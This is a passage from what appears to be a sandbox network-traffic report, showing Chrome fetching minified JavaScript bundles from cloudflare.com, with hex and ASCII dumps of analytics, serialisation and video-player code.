e={2706:function(e,t,r){"use strict";var n=r(4836);Object.defineProperty(t,"__esModule",{value:!0}),t.encode=function(e){return JSON.stringify(p(e))},t.encodeAsTable=function(e){return p(e)},t.decode=function(e){return function(e){if
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 5b 65 5d 3a 74 5b 65 5d 3d 6e 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 69 66 28 74 3c 30 29 7b 69 66 28 74 3d 3d 3d 69 29 72 65 74 75 72 6e 3b 69 66 28 74 3d 3d 3d 61 29 72 65 74 75 72 6e 3b 69 66 28 74 3d 3d 3d 73 29 72 65 74 75 72 6e 20 4e 61 4e 3b 69 66 28 74 3d 3d 3d 75 29 72 65 74 75 72 6e 20 31 2f 30 3b 69 66 28 74 3d 3d 3d 63 29 72 65 74 75 72 6e 2d 31 2f 30 3b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 20 41 52 53 4f 4e 20 69 6e 64 65 78 3a 20 22 2b 74 29 7d 76 61 72 20 6e 3d 65 5b 74 5d 3b 69 66 28 6e 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 28 30 2c 6f 2e 64 65 66 61 75 6c 74 29 28 6e 29 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 6e 29 29 7b 76 61 72 20 70 3d 6e 5b 30 5d 3b 69 66 28 22 73 74 Data Ascii: [e]:t[e]=n(e)}function n(t){if(t<0){if(t===i)return;if(t===a)return;if(t===s)return NaN;if(t===u)return 1/0;if(t===c)return-1/0;throw new Error("invalid ARSON index: "+t)}var n=e[t];if(n&&"object"===(0,o.default)(n)){if(Array.isArray(n)){var p=n[0];if("st
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 68 28 65 29 2d 31 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 76 61 72 20 74 3d 65 3b 69 66 28 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 28 30 2c 6f 2e 64 65 66 61 75 6c 74 29 28 65 29 29 7b 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 28 30 2c 6f 2e 64 65 66 61 75 6c 74 29 28 65 29 3b 69 66 28 74 29 7b 72 65 74 75 72 6e 28 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 29 3d 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 7d 72 65 74 75 72 6e 21 31 7d 28 65 29 29 74 3d 7b 7d 3b 65 6c 73 65 7b Data Ascii: h(e)-1),n}function f(e){var t=e;if(e&&"object"===(0,o.default)(e)){var r=Object.keys(e);if(function(e){var t=e&&"object"===(0,o.default)(e);if(t){return(Object.getPrototypeOf?Object.getPrototypeOf(e):e.__proto__)===Object.prototype}return!1}(e))t={};else{
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 6e 65 77 20 53 65 74 3b 65 2e 66 6f 72 45 61 63 68 28 74 68 69 73 2e 61 64 64 2c 74 68 69 73 29 7d 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4d 61 70 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 41 72 72 61 79 2e 66 72 6f 6d 26 26 66 28 22 4d 61 70 22 2c 7b 64 65 63 6f 6e 73 74 72 75 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 5b 6f 62 6a 65 63 74 20 4d 61 70 5d 22 3d 3d 3d 64 2e 63 61 6c 6c 28 65 29 29 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 65 29 7d 2c 72 65 63 6f 6e 73 74 72 75 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 6e 65 77 20 4d 61 70 3b 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: {if(!e)return new Set;e.forEach(this.add,this)}}),"function"==typeof Map&&"function"==typeof Array.from&&f("Map",{deconstruct:function(e){if("[object Map]"===d.call(e))return Array.from(e)},reconstruct:function(e){if(!e)return new Map;e.forEach((function(
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 69 6f 6e 22 3d 3d 3d 65 2e 65 6e 74 72 79 54 79 70 65 29 72 2e 5f 61 64 64 52 65 73 6f 75 72 63 65 45 76 65 6e 74 28 65 29 3b 65 6c 73 65 20 69 66 28 22 72 65 73 6f 75 72 63 65 22 3d 3d 3d 65 2e 65 6e 74 72 79 54 79 70 65 29 73 77 69 74 63 68 28 65 2e 69 6e 69 74 69 61 74 6f 72 54 79 70 65 29 7b 63 61 73 65 22 6c 69 6e 6b 22 3a 63 61 73 65 22 73 63 72 69 70 74 22 3a 63 61 73 65 22 69 6d 67 22 3a 63 61 73 65 22 76 69 64 65 6f 22 3a 63 61 73 65 22 69 6d 61 67 65 22 3a 69 66 28 21 31 21 3d 3d 72 2e 5f 69 73 44 6f 6d 45 6e 61 62 6c 65 64 29 7b 69 66 28 72 2e 5f 66 69 6e 64 43 6c 6f 73 65 64 52 65 71 75 65 73 74 49 6e 64 65 78 28 65 29 3e 3d 30 29 72 65 74 75 72 6e 20 76 6f 69 64 20 72 2e 5f 61 64 64 4b 6e 6f 77 6e 52 65 73 6f 75 72 63 65 28 65 29 3b 76 61 72 Data Ascii: ion"===e.entryType)r._addResourceEvent(e);else if("resource"===e.entryType)switch(e.initiatorType){case"link":case"script":case"img":case"video":case"image":if(!1!==r._isDomEnabled){if(r._findClosedRequestIndex(e)>=0)return void r._addKnownResource(e);var
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 65 7d 3a 73 3b 74 72 79 7b 69 3d 63 28 6c 28 6c 28 7b 7d 2c 61 29 2c 7b 7d 2c 7b 75 72 6c 3a 61 2e 6e 61 6d 65 2c 68 65 61 64 65 72 73 3a 7b 7d 2c 62 6f 64 79 3a 22 22 7d 29 29 7d 63 61 74 63 68 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 65 29 7d 69 66 28 69 29 69 66 28 61 2e 6e 61 6d 65 3d 69 2e 75 72 6c 2c 21 72 2e 5f 68 61 73 4b 6e 6f 77 6e 52 65 73 6f 75 72 63 65 28 61 29 29 69 66 28 21 28 72 2e 5f 66 69 6e 64 50 65 6e 64 69 6e 67 52 65 71 75 65 73 74 49 6e 64 65 78 28 61 29 3e 3d 30 29 29 7b 76 61 72 20 66 3d 72 2e 5f 66 69 6e 64 43 6c 6f 73 65 64 52 65 71 75 65 73 74 49 6e 64 65 78 28 61 29 3b 66 3e 3d 30 26 26 72 2e 5f 72 65 6d 6f 76 65 43 6c 6f 73 65 64 52 65 71 75 65 73 74 41 74 49 6e 64 65 78 28 66 29 2c 72 2e 5f 70 65 6e 64 69 6e 67 Data Ascii: e}:s;try{i=c(l(l({},a),{},{url:a.name,headers:{},body:""}))}catch(e){console.error(e)}if(i)if(a.name=i.url,!r._hasKnownResource(a))if(!(r._findPendingRequestIndex(a)>=0)){var f=r._findClosedRequestIndex(a);f>=0&&r._removeClosedRequestAtIndex(f),r._pending
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 69 73 44 6f 6d 45 6e 61 62 6c 65 64 3f 74 68 69 73 2e 5f 73 63 68 65 64 75 6c 65 43 6c 6f 73 69 6e 67 4c 6f 6f 70 28 29 3a 74 68 69 73 2e 5f 70 65 6e 64 69 6e 67 52 65 71 75 65 73 74 73 3d 5b 5d 7d 7d 2c 7b 6b 65 79 3a 22 73 68 75 74 64 6f 77 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 73 65 74 28 29 2c 74 68 69 73 2e 5f 69 73 50 65 72 66 6f 72 6d 61 6e 63 65 45 6e 61 62 6c 65 64 3d 21 31 2c 74 68 69 73 2e 5f 69 73 44 6f 6d 45 6e 61 62 6c 65 64 3d 21 31 7d 7d 2c 7b 6b 65 79 3a 22 73 68 6f 75 6c 64 52 65 63 6f 72 64 41 73 73 65 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 74 61 67 4e 61 6d 65 26 26 65 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 72 3d 65 Data Ascii: isDomEnabled?this._scheduleClosingLoop():this._pendingRequests=[]}},{key:"shutdown",value:function(){this.reset(),this._isPerformanceEnabled=!1,this._isDomEnabled=!1}},{key:"shouldRecordAsset",value:function(e){var t=e.tagName&&e.tagName.toLowerCase(),r=e
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 2e 50 65 72 66 52 65 73 6f 75 72 63 65 45 76 65 6e 74 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 75 72 6c 3a 65 2e 6e 61 6d 65 2c 73 74 61 72 74 54 69 6d 65 3a 65 2e 73 74 61 72 74 54 69 6d 65 2b 74 2e 5f 62 72 6f 77 73 65 72 4c 6f 61 64 54 69 6d 65 2c 64 75 72 61 74 69 6f 6e 3a 65 2e 64 75 72 61 74 69 6f 6e 2c 69 6e 69 74 69 61 74 6f 72 54 79 70 65 3a 6e 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2c 66 61 69 6c 65 64 3a 30 3d 3d 3d 72 2c 73 74 61 74 75 73 3a 72 2c 74 72 61 6e 73 66 65 72 53 69 7a 65 3a 65 2e 74 72 61 6e 73 66 65 72 53 69 7a 65 7c 7c 30 7d 7d 29 29 7d 7d 2c 7b 6b 65 79 3a 22 5f 63 6c 6f 73 65 50 65 6e 64 69 6e 67 52 65 71 75 65 73 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 Data Ascii: .PerfResourceEvent",(function(){return{url:e.name,startTime:e.startTime+t._browserLoadTime,duration:e.duration,initiatorType:n.toUpperCase(),failed:0===r,status:r,transferSize:e.transferSize\|\|0}}))}},{key:"_closePendingRequest",value:function(e){var t=thi
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 55 54 4d 5f 50 41 52 41 4d 45 54 45 52 5f 54 4f 5f 45 56 45 4e 54 5f 4b 45 59 5f 4d 41 50 50 49 4e 47 3d 76 6f 69 64 20 30 3b 74 2e 55 54 4d 5f 50 41 52 41 4d 45 54 45 52 5f 54 4f 5f 45 56 45 4e 54 5f 4b 45 59 5f 4d 41 50 50 49 4e 47 3d 7b 75 74 6d 5f 73 6f 75 72 63 65 3a 22 75 74 6d 53 6f 75 72 63 65 22 2c 75 74 6d 5f 6d 65 64 69 75 6d 3a 22 75 74 6d 4d 65 64 69 75 6d 22 2c 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3a 22 75 74 6d 43 61 6d 70 61 69 67 6e 22 2c 75 74 6d 5f 74 65 72 6d 3a 22 75 74 6d 54 65 72 6d 22 2c 75 74 6d 5f 63 6f 6e 74 65 6e 74 3a 22 75 74 6d 43 6f 6e 74 65 6e 74 22 7d 3b 74 2e 55 54 4d 5f 50 41 52 41 4d 5f 4b 45 59 3d 22 68 61 73 53 65 6e 74 55 54 4d 50 61 72 61 6d 73 22 7d 2c 32 34 37 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b Data Ascii: UTM_PARAMETER_TO_EVENT_KEY_MAPPING=void 0;t.UTM_PARAMETER_TO_EVENT_KEY_MAPPING={utm_source:"utmSource",utm_medium:"utmMedium",utm_campaign:"utmCampaign",utm_term:"utmTerm",utm_content:"utmContent"};t.UTM_PARAM_KEY="hasSentUTMParams"},2473:function(e,t,r){
2024-10-18 13:48:07 UTC	1369	IN	Data Raw: 76 61 72 20 6e 3d 72 28 32 39 35 32 29 7d 2c 36 33 35 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 64 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 6e 3d 72 2e 69 6e 74 65 72 63 6f 6d 44 65 6c 61 79 2c 6f 3d 76 6f 69 64 20 30 3d 3d 3d 6e 3f 31 65 33 3a 6e 2c 69 3d 72 2e 69 6e 74 65 72 63 6f 6d 4d 61 78 41 74 74 65 6d 70 74 73 2c 61 3d 76 6f 69 64 20 30 3d 3d Data Ascii: var n=r(2952)},6356:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){var t,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=r.intercomDelay,o=void 0===n?1e3:n,i=r.intercomMaxAttempts,a=void 0==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	50737	104.16.124.96	443	4784	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-18 13:48:08 UTC	557	OUT	GET /app-5eb8714132173426f3bb.js HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc
2024-10-18 13:48:08 UTC	966	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 13:48:08 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"8ba6db0cccaedfd1ae5a13f0299640b3" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IXYkJQRNy0T2YHAK5aEr8DAzwU3UyCzP1SRhIGnOz9WR%2BwJ57%2BnFnV%2FLSBCBQ34HHCC7%2F9sIdQJf%2FpzlXBC%2BP%2FQQeGG26Jc3S4pptg0c7WR9GW8QXC%2F8%2BDSFZYKI34HbVBXFlg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d48fbf8bba16bb3-DFW alt-svc: h3=":443"; ma=86400
2024-10-18 13:48:08 UTC	403	IN	Data Raw: 37 62 65 62 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 61 70 70 2d 35 65 62 38 37 31 34 31 33 32 31 37 33 34 32 36 66 33 62 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 63 6c 6f 75 64 66 6c 61 72 65 5f 6d 72 6b 65 6e 67 5f 72 65 64 77 6f 6f 64 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 35 32 34 5d 2c 7b 33 38 31 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 Data Ascii: 7beb/! For license information please see app-5eb8714132173426f3bb.js.LICENSE.txt /(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[524],{38157:function(e,t,n){"use strict";n.d(t,{Z:function(){retur
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 20 69 28 65 2c 74 2c 6e 29 7b 28 30 2c 72 2e 75 73 65 45 66 66 65 63 74 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 63 75 72 72 65 6e 74 26 26 28 74 2e 63 75 72 72 65 6e 74 5b 65 5d 3d 6e 29 7d 29 2c 5b 65 2c 6e 2c 74 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 2c 6e 29 7b 76 6f 69 64 20 30 3d 3d 3d 6e 26 26 28 6e 3d 6c 29 2c 28 30 2c 72 2e 75 73 65 45 66 66 65 63 74 29 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 2e 63 75 72 72 65 6e 74 29 7b 76 61 72 20 72 3d 74 2e 63 75 72 72 65 6e 74 3b 72 65 74 75 72 6e 20 72 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 6e 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 6e 29 7d 7d 7d Data Ascii: nction i(e,t,n){(0,r.useEffect)((function(){t.current&&(t.current[e]=n)}),[e,n,t])}function s(e,t,n){void 0===n&&(n=l),(0,r.useEffect)((function(){if(t.current){var r=t.current;return r.addEventListener(e,n),function(){return r.removeEventListener(e,n)}}}
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 3d 3d 3d 78 3f 31 3a 78 2c 49 3d 65 2e 73 74 61 72 74 54 69 6d 65 2c 4e 3d 65 2e 73 74 72 65 61 6d 52 65 66 2c 44 3d 65 2e 72 65 73 70 6f 6e 73 69 76 65 2c 59 3d 76 6f 69 64 20 30 3d 3d 3d 44 7c 7c 44 2c 48 3d 65 2e 63 6c 61 73 73 4e 61 6d 65 2c 50 3d 65 2e 74 69 74 6c 65 2c 52 3d 65 2e 6f 6e 41 62 6f 72 74 2c 6a 3d 65 2e 6f 6e 43 61 6e 50 6c 61 79 2c 42 3d 65 2e 6f 6e 43 61 6e 50 6c 61 79 54 68 72 6f 75 67 68 2c 46 3d 65 2e 6f 6e 44 75 72 61 74 69 6f 6e 43 68 61 6e 67 65 2c 55 3d 65 2e 6f 6e 45 6e 64 65 64 2c 7a 3d 65 2e 6f 6e 45 72 72 6f 72 2c 57 3d 65 2e 6f 6e 4c 6f 61 64 65 64 44 61 74 61 2c 4b 3d 65 2e 6f 6e 4c 6f 61 64 65 64 4d 65 74 61 44 61 74 61 2c 56 3d 65 2e 6f 6e 4c 6f 61 64 53 74 61 72 74 2c 47 3d 65 2e 6f 6e 50 61 75 73 65 2c 71 3d 65 2e 6f Data Ascii: ===x?1:x,I=e.startTime,N=e.streamRef,D=e.responsive,Y=void 0===D\|\|D,H=e.className,P=e.title,R=e.onAbort,j=e.onCanPlay,B=e.onCanPlayThrough,F=e.onDurationChange,U=e.onEnded,z=e.onError,W=e.onLoadedData,K=e.onLoadedMetaData,V=e.onLoadStart,G=e.onPause,q=e.o
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 62 2c 6c 65 74 74 65 72 62 6f 78 43 6f 6c 6f 72 3a 45 2c 61 64 55 72 6c 3a 6f 2c 64 65 66 61 75 6c 74 54 65 78 74 54 72 61 63 6b 3a 54 2c 73 74 61 72 74 54 69 6d 65 3a 49 7d 29 2c 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 6e 65 77 20 55 52 4c 28 65 29 3b 72 65 74 75 72 6e 20 74 2e 68 6f 73 74 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 22 76 69 64 65 6f 64 65 6c 69 76 65 72 79 2e 6e 65 74 22 29 7c 7c 74 2e 68 6f 73 74 6e 61 6d 65 2e 65 6e 64 73 57 69 74 68 28 22 63 6c 6f 75 64 66 6c 61 72 65 73 74 72 65 61 6d 2e 63 6f 6d 22 29 7d 63 61 74 63 68 28 6e 29 7b 72 65 74 75 72 6e 21 31 7d 7d 28 74 29 3f 74 3a 68 65 3b 72 65 74 75 72 6e 20 69 28 22 6d 75 74 65 64 22 2c 75 65 2c 70 29 2c 69 28 22 63 6f 6e 74 72 6f 6c Data Ascii: olor:b,letterboxColor:E,adUrl:o,defaultTextTrack:T,startTime:I}),ge=function(e){try{var t=new URL(e);return t.hostname.endsWith("videodelivery.net")\|\|t.hostname.endsWith("cloudflarestream.com")}catch(n){return!1}}(t)?t:he;return i("muted",ue,p),i("control
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 72 64 65 72 3a 30 2c 68 65 69 67 68 74 3a 6b 2c 77 69 64 74 68 3a 4d 2c 61 6c 6c 6f 77 3a 22 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3b 20 67 79 72 6f 73 63 6f 70 65 3b 20 61 75 74 6f 70 6c 61 79 3b 20 65 6e 63 72 79 70 74 65 64 2d 6d 65 64 69 61 3b 20 70 69 63 74 75 72 65 2d 69 6e 2d 70 69 63 74 75 72 65 3b 22 2c 61 6c 6c 6f 77 46 75 6c 6c 53 63 72 65 65 6e 3a 21 30 7d 29 29 7d 7d 2c 34 32 34 30 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 2c 6f 3d 6e 28 39 36 35 34 30 29 2c 61 3d 28 72 3d 6f 29 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 72 26 26 22 64 65 66 61 75 6c 74 22 69 6e 20 72 3f 72 2e 64 65 66 61 75 6c 74 3a 72 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 Data Ascii: rder:0,height:k,width:M,allow:"accelerometer; gyroscope; autoplay; encrypted-media; picture-in-picture;",allowFullScreen:!0}))}},4240:function(e,t,n){"use strict";var r,o=n(96540),a=(r=o)&&"object"==typeof r&&"default"in r?r.default:r,i=function(){return
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 65 2e 54 41 42 4c 45 5f 48 45 41 44 45 52 5f 43 45 4c 4c 3d 22 74 61 62 6c 65 2d 68 65 61 64 65 72 2d 63 65 6c 6c 22 7d 28 6e 7c 7c 28 74 2e 42 4c 4f 43 4b 53 3d 6e 3d 7b 7d 29 29 7d 29 29 3b 6c 28 75 29 3b 75 2e 42 4c 4f 43 4b 53 3b 76 61 72 20 64 3d 63 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 22 5f 5f 65 73 4d 6f 64 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 2c 74 2e 49 4e 4c 49 4e 45 53 3d 76 6f 69 64 20 30 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 48 59 50 45 52 4c 49 4e 4b 3d 22 68 79 70 65 72 6c 69 6e 6b 22 2c 65 2e 45 4e 54 52 59 5f 48 59 50 45 52 4c 49 4e 4b 3d 22 65 6e 74 72 79 2d 68 79 70 65 72 6c 69 6e 6b Data Ascii: table-cell",e.TABLE_HEADER_CELL="table-header-cell"}(n\|\|(t.BLOCKS=n={}))}));l(u);u.BLOCKS;var d=c((function(e,t){var n;Object.defineProperty(t,"__esModule",{value:!0}),t.INLINES=void 0,function(e){e.HYPERLINK="hyperlink",e.ENTRY_HYPERLINK="entry-hyperlink
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 2e 48 45 41 44 49 4e 47 5f 36 2c 75 2e 42 4c 4f 43 4b 53 2e 4f 4c 5f 4c 49 53 54 2c 75 2e 42 4c 4f 43 4b 53 2e 55 4c 5f 4c 49 53 54 2c 75 2e 42 4c 4f 43 4b 53 2e 48 52 2c 75 2e 42 4c 4f 43 4b 53 2e 51 55 4f 54 45 2c 75 2e 42 4c 4f 43 4b 53 2e 45 4d 42 45 44 44 45 44 5f 45 4e 54 52 59 2c 75 2e 42 4c 4f 43 4b 53 2e 45 4d 42 45 44 44 45 44 5f 41 53 53 45 54 2c 75 2e 42 4c 4f 43 4b 53 2e 45 4d 42 45 44 44 45 44 5f 52 45 53 4f 55 52 43 45 2c 75 2e 42 4c 4f 43 4b 53 2e 54 41 42 4c 45 5d 2c 74 2e 4c 49 53 54 5f 49 54 45 4d 5f 42 4c 4f 43 4b 53 3d 5b 75 2e 42 4c 4f 43 4b 53 2e 50 41 52 41 47 52 41 50 48 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 31 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 32 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e Data Ascii: .HEADING_6,u.BLOCKS.OL_LIST,u.BLOCKS.UL_LIST,u.BLOCKS.HR,u.BLOCKS.QUOTE,u.BLOCKS.EMBEDDED_ENTRY,u.BLOCKS.EMBEDDED_ASSET,u.BLOCKS.EMBEDDED_RESOURCE,u.BLOCKS.TABLE],t.LIST_ITEM_BLOCKS=[u.BLOCKS.PARAGRAPH,u.BLOCKS.HEADING_1,u.BLOCKS.HEADING_2,u.BLOCKS.HEADIN
2024-10-18 13:48:08 UTC	1369	IN	Data Raw: 49 4e 47 5f 35 2c 75 2e 42 4c 4f 43 4b 53 2e 48 45 41 44 49 4e 47 5f 36 2c 75 2e 42 4c 4f 43 4b 53 2e 4f 4c 5f 4c 49 53 54 2c 75 2e 42 4c 4f 43 4b 53 2e 55 4c 5f 4c 49 53 54 2c 75 2e 42 4c 4f 43 4b 53 2e 4c 49 53 54 5f 49 54 45 4d 2c 75 2e 42 4c 4f 43 4b 53 2e 48 52 2c 75 2e 42 4c 4f 43 4b 53 2e 51 55 4f 54 45 2c 75 2e 42 4c 4f 43 4b 53 2e 45 4d 42 45 44 44 45 44 5f 45 4e 54 52 59 2c 75 2e 42 4c 4f 43 4b 53 2e 45 4d 42 45 44 44 45 44 5f 41 53 53 45 54 2c 64 2e 49 4e 4c 49 4e 45 53 2e 48 59 50 45 52 4c 49 4e 4b 2c 64 2e 49 4e 4c 49 4e 45 53 2e 45 4e 54 52 59 5f 48 59 50 45 52 4c 49 4e 4b 2c 64 2e 49 4e 4c 49 4e 45 53 2e 41 53 53 45 54 5f 48 59 50 45 52 4c 49 4e 4b 2c 64 2e 49 4e 4c 49 4e 45 53 2e 45 4d 42 45 44 44 45 44 5f 45 4e 54 52 59 2c 22 74 65 78 74 Data Ascii: ING_5,u.BLOCKS.HEADING_6,u.BLOCKS.OL_LIST,u.BLOCKS.UL_LIST,u.BLOCKS.LIST_ITEM,u.BLOCKS.HR,u.BLOCKS.QUOTE,u.BLOCKS.EMBEDDED_ENTRY,u.BLOCKS.EMBEDDED_ASSET,d.INLINES.HYPERLINK,d.INLINES.ENTRY_HYPERLINK,d.INLINES.ASSET_HYPERLINK,d.INLINES.EMBEDDED_ENTRY,"text
